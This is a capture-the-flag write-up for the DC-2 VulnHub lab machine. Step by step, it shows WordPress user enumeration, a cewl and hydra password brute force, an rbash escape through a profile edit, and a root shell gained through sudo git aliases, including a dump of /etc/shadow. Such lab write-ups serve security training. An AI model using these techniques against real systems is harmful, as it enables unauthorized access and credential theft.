DC-2

Writeup by Ivy Fae

Summary

DC-2 VM by DCAU
https://www.vulnhub.com/entry/dc-2,311/
http://www.five86.com/dc-2.html

Enumeration/Scanning

```
$ nmap -sC -sV x.x.x.0/24
...

Nmap scan report for x.x.x.132
Host is up (0.00071s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
```

As instructed in box info, I added host entry for dc-2

```
x.x.x.132 dc-2
```

Navigated to http://dc-2/index.php and found a wordpress site
Found a page called Flag http://dc-2/index.php/flag:

FLAG 1

> Your usual wordlists probably won't work, so instead, maybe you just need to be cewl.
> More passwords is always better, but sometimes you just can't win them all.
> Log in as one to see the next flag.
> If you can't find it, log in as another.

Used wordpress search with empty search, found another flag page:

FLAG 2

> If you can't exploit WordPress and take a shortcut, there is another way. Hope you found

another entry point.

Found login page at http://dc-2/wp-login.php

Ran wpscan and found users:

```
[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

Gaining Access

Next, I created wordlist using cewl:

```
$ cewl -d 5  -w custom-words3.txt http://dc-2/index.php
```

Then used Hydra to try this wordlist against the users admin, tom, and jerry

```
$ hydra -L users.txt -P custom-words.txt dc-2 -V http-form-post
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'
```

which turned up the following wordpress credentials:

```
[80][http-post-form] host: dc-2   login: tom     password: parturient
[80][http-post-form] host: dc-2   login: jerry   password: adipiscing
```

Logged into wordpress as tom, gained access to wordpress console. Here, I noticed the wordpress version was displayed: 4.7.10

A quick google search turned up a list of vulns: https://wpscan.com/wordpress/4710

This one looks VERY interesting!
https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526

“An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. ”

Unfortunately, the server doesn't allow any media uploads, so I needed to find something else.

```
Unable to create directory wp-content/uploads/2022/09. Is its parent directory writable by the server?
```

I didn’t find anything in wordpress that looked exploitable, so I ran a new nmap -A scan. It turns out I missed a port. This time, nmap showed ssh open on 7744

```
$ nmap -A -p - x.x.x.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 19:59 EDT
Nmap scan report for dc-2 (x.x.x.132)
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-generator: WordPress 4.7.10
|_http-title: DC-2 &#8211; Just another WordPress site
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

I connected to ssh `ssh tom@dc-2 -p 7744` with password parturient and was presented a limited shell. It didn't allow most commands (not even cat). However, ls, echo, less, and cd worked.

```
tom@DC-2:~$ echo $SHELL
rbash
```

I was not familiar with rbash. The r is for "restricted"!
`ls` showed flag3.txt:

```
tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for
all the stress he causes.
```

I decided to look around here before investigating this su clue.

There was also a folder in tom's home directory called usr/bin which contained a few symlinks:

```
lrwxrwxrwx 1 tom tom   13 Mar 21  2019 less -> /usr/bin/less
lrwxrwxrwx 1 tom tom    7 Mar 21  2019 ls -> /bin/ls
lrwxrwxrwx 1 tom tom   12 Mar 21  2019 scp -> /usr/bin/scp
lrwxrwxrwx 1 tom tom   11 Mar 21  2019 vi -> /usr/bin/vi
```

```
tom@DC-2:~$ less /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
```

Looks like jerry is not restricted to rbash

```
tom@DC-2:~$ ls ../jerry/
flag4.txt
```

jerry has flag 4!

```
tom@DC-2:~$ less ../jerry/flag4.txt

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really
counts!!!).

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
```

git?!?!? Yep! git is installed, but I haven't seen any repos yet. I'll revisit this once I'm logged in as jerry.

I didn't have any reason to believe su would be available to me via rbash, but I tried it anyway

```
tom@DC-2:~$ su
Sorry, user tom may not run su on DC-2.
```

Just in case, I exited and tried to SSH with jerry's known creds, but could not log in. Looks like I'll need to escape rbash.

Privilege Escalation

As I mentioned earlier, I can't do much in rbash. But I am able to use vi to edit /home/tom/.bash_profile, .bash_login, and .bash_logout. tom's PATH and SHELL environment variables were being set in a few places. I replaced SHELL with /bin/bash and PATH with the following copy of my PATH:

```
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
export SHELL=/bin/bash
```

I logged out, logged in again, and found I could cat now! What else could I do?

```
tom@DC-2:~$ sudo -l
Sorry, user tom may not run sudo on DC-2.

tom@DC-2:~$ su jerry
Password:  adipiscing
jerry@DC-2:/home/tom$
```

Nice!

```
jerry@DC-2:/home/tom$ sudo -l

Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbi
n\:/bin

User jerry may run the following commands on DC-2:
      (root) NOPASSWD: /usr/bin/git
```

Uh oh! jerry can run git as root? Git has its own alias scripting. When the aliased command starts with an exclamation mark, it can even run non-git commands!

```
jerry@DC-2:~$ sudo git config --global alias.test '!f(){ whoami;};f'
jerry@DC-2:~$ git test
jerry
jerry@DC-2:~$ sudo git test
root
```

Perfect. Here we go!

```
jerry@DC-2:~$ sudo git config --global alias.test '!f(){;cat /etc/shadow;};f'
jerry@DC-2:~$ sudo git test

root:$6$GtvX90ok$whBe3t.vDUfkcHJhDevZ5QthAguFybcuJWwLZlHAyvc8v4mbMdO2sHLTAtham
UGavsUTNgxsJLO./YPu22eZ5/:17977:0:99999:7:::
daemon:*:17965:0:99999:7:::
bin:*:17965:0:99999:7:::
sys:*:17965:0:99999:7:::
sync:*:17965:0:99999:7:::
```

Let's try just plain `su`

```
jerry@DC-2:~$ sudo git config --global alias.su '!f(){ su;};f'
jerry@DC-2:~$ sudo git su
root@DC-2:/home/jerry# whoami
root
root@DC-2:/home/jerry# cd /root
root@DC-2:~# ls
final-flag.txt
```

Woo! There's the last flag!

```
root@DC-2:~# cat final-flag.txt


          __    __     _ _       _                    _
         / / /\ \ \___| | |   __| | ___  _ __   ___  / \
         \ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
          \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/
           \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


          Congratulatons!!!

          A special thanks to all those who sent me tweets
          and provided me with feedback - it's all greatly
          appreciated.

          If you enjoyed this CTF, send me a tweet via @DCAU7.
```